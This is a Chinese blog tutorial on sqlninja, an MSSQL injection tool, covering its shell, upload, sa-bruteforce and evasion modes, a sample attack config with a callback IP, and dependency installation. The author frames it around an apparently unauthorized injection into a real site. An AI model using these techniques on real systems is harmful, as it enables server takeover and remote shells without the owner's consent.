sqlninja初识
程序员文章站
2022-04-06 23:13:31
在sql注入方面我一直尊sqlmap为神,最近碰到一个mssql盲注,虽然成功用sqlmap跑出了管理员密码,但是死活找不到网站的后台,所以想试一下sqlninja
sqlnin...
在sql注入方面我一直尊sqlmap为神,最近碰到一个mssql盲注,虽然成功用sqlmap跑出了管理员密码,但是死活找不到网站的后台,所以想试一下sqlninja
sqlninja是一款用perl写的一个专门针对Microsoft SQL Server的sql注入工具。和市面上其他的注入工具不同,sqlninja没有将精力用在跑数据库上,而是侧重于获得一个shell。
sqlninja的优点如下
一个专门针对Microsoft SQL Server的sql注入工具 可找到远程SQL服务器的标志和特征(版本、用户执行的查询、用户特权、xp_cmdshell的可用性、身份验证模式等) “sa”口令的强力攻击 如果找到口令后,就将特权提升到“sa” 如果原始的xp_cmdshell被禁用后,就创建一个定制的xp_cmdshell。 使用纯粹的ASCII GET/POST请求来上载netcat.exe程序(以及其它任何可执行的程序),因此并不需要FTP连接。 为了找到目标网络的防火墙所允许的端口,可以实施针对目标SQL 服务器的TCP/UDP端口扫描。 逃避技术,这是为了使注入式代码“模糊”不清,并且混淆/绕过基于签名的IPS和应用层防火墙。 采用“盲目执行”攻击模式,在其它模式失效时,可以用于发布命令并执行诊断。 在sqlninja生成的SQL代码上,执行的是自动化的URL编码,这使得用户可以更精细地控制漏洞利用的字符串。 如果得到权限为sa,可以结合msf进一步对目标主机进行渗透。
首先看一下sqlninja的原文帮助
# ./sqlninja -h Unknown option: h Usage: ./sqlninja -m <mode> : Required. Available modes are: t/test - test whether the injection is working f/fingerprint - fingerprint user, xp_cmdshell and more b/bruteforce - bruteforce sa account e/escalation - add user to sysadmin server role x/resurrectxp - try to recreate xp_cmdshell u/upload - upload a .scr file s/dirshell - start a direct shell k/backscan - look for an open outbound port r/revshell - start a reverse shell d/dnstunnel - attempt a dns tunneled shell i/icmpshell - start a reverse ICMP shell c/sqlcmd - issue a 'blind' OS command m/metasploit - wrapper to Metasploit stagers -f <file> : configuration file (default: sqlninja.conf) -p <password> : sa password -w <wordlist> : wordlist to use in bruteforce mode (dictionary method only) -g : generate debug script and exit (only valid in upload mode) -v : verbose output -d <mode> : activate debug 1 - print each injected command 2 - print each raw HTTP request 3 - print each raw HTTP response all - all of the above ...see sqlninja-howto.html for details
sqlninja的参数很少,比较容易理解
-m #指定攻击模式,有以下几个 t/test #测试连接是否是注入点 f/fingerprint #指纹识别,判断用户,数据库, xp_cmdshell是否能用等等 b/bruteforce #暴力破解sa密码,可以-w指定字典,也可以不使用字典,这样sqlninja就会自己穷举 e/escalation #提权用,必须用-p指定sa的password,成功就会把当前数据库用户加入到sa组里面 x/resurrectxp #尝试恢复xp_cmdshelli u/upload #使用get和post上传二进制文件,-p可以指定sa的password,-g表示只生成上传文件,但并不上传 s/dirshell #获得目标主机的shell k/backscan #查看开放的目标端口 r/revshell #反弹回一个shell,和dirshell相反 d/dnstunnel #指定使用dns作为传输通道,可用-p指定sa的password,为什么有这个模式。。因为可能服务器连icmp都禁止。。同样,想要使用这个模式得先用upload模式上传dnstun.exe i/icmpshell #当dirshell和revshell都失败的情况下,可以用这个模式把shell藏在icmp里,但是先要上传icmpsh.exe(在upload模式里) c/sqlcmd #以上方法都失败之后,可以用他执行简单的cmd命令,可惜的是没回显 m/metasploit #使用meterpreter作为shell -f <file> #指定配置文件,sqlninja没有类似sqlmap的"-u"参数,注入网址是写在配置文件里的,默认是sqlninja.conf 在-f下面又有以下参数 0 - Database version (2000/2005) //检测当前数据库版本 1 - Database user //当前数据库用户 2 - Database user rights //当前数据库用户权限 3 - Whether xp_cmdshell is working //检查xp_cmdshell是否可以用 4 - Whether mixed or Windows-only authentication is used //是否windows本地系统权限 a - All of the above //以上所有选项 h - Print this menu //显示当前帮助菜单 q - exit //退出 -p #sa账户密码
sqlninja.conf示例文件
# GET EXAMPLE: --httprequest_start-- GET https://www.victim.com/page.asp?vulnerableparam=aaa';__SQL2INJECT__&otherparam=blah HTTP/1.0 Host: www.victim.com User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/* Accept-Language: en-us,en;q=0.7,it;q=0.3 Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Content-Type: application/x-www-form-urlencoded # Cookie: ASPSESSIONID=xxxxxxxxxxxxxxxxxxxx # Authorization: Basic yyyyyyyyyyyyyyyyyyyyy Connection: close --httprequest_end-- ..... lhost = 165.118.155.176(自己主机的IP) # Interface to sniff when in backscan mode device = eth0 # Evasion techniques to be used. Possible choices are: # 1 - Query hex-encoding # 2 - Comments as separators # 3 - Random case # 4 - Random URI encoding # All techniques can be combined, so the following is legal: # evasion = 1234 # However, keep in mind that using too many techniques at once leads to very # long queries, that might create problems when using GET. Default: no evasion # evasion = 12 # Path to metasploit executable. Only needed if msfpayload and # msfcli are not already in the path msfpath = /opt/metasploit
题外话:
由于sqlninja加载了众多的第三方模块,所以要先安装所需的模块
由于一个个编译太麻烦了, 所以打算使用cpanm, cpanm可以方便的安装perl的第三方模块
先安装cpanm
|
安装NetPacket模块
|
安装NetPcap模块
root@ecglobal1:/opt# apt-get install libpcap-dev libnids-dev libnet1-dev root@ecglobal1:/opt# wget https://search.cpan.org/CPAN/authors/id/S/SA/SAPER/Net-Pcap-0.14.tar.gz root@ecglobal1:/opt# tar -zxvf Net-Pcap-0.14.tar.gz root@ecglobal1:/opt# cd Net-Pcap* root@ecglobal1:/opt# perl Makefile.PL root@ecglobal1:/opt# make root@ecglobal1:/opt# make install
安装Net-DNS
root@ecglobal1:/opt# wget https://search.cpan.org/CPAN/authors/id/N/NL/NLNETLABS/Net-DNS-0.72.tar.gz root@ecglobal1:/opt# tar -zxvf Net* root@ecglobal1:/opt# cd Net-DNS* root@ecglobal1:/opt/Net-DNS-0.72# perl Makefile.PL root@ecglobal1:/opt/Net-DNS-0.72# make root@ecglobal1:/opt/Net-DNS-0.72# make install
安装Net-RawIP
root@ecglobal1:/opt# wget https://search.cpan.org/CPAN/authors/id/S/SA/SAPER/Net-RawIP-0.25.tar.gz root@ecglobal1:/opt# tar -zxvf Net-RawIP* root@ecglobal1:/opt# cd Net-RawIP* root@ecglobal1:/opt# perl Makefile.PL root@ecglobal1:/opt# make root@ecglobal1:/opt# make install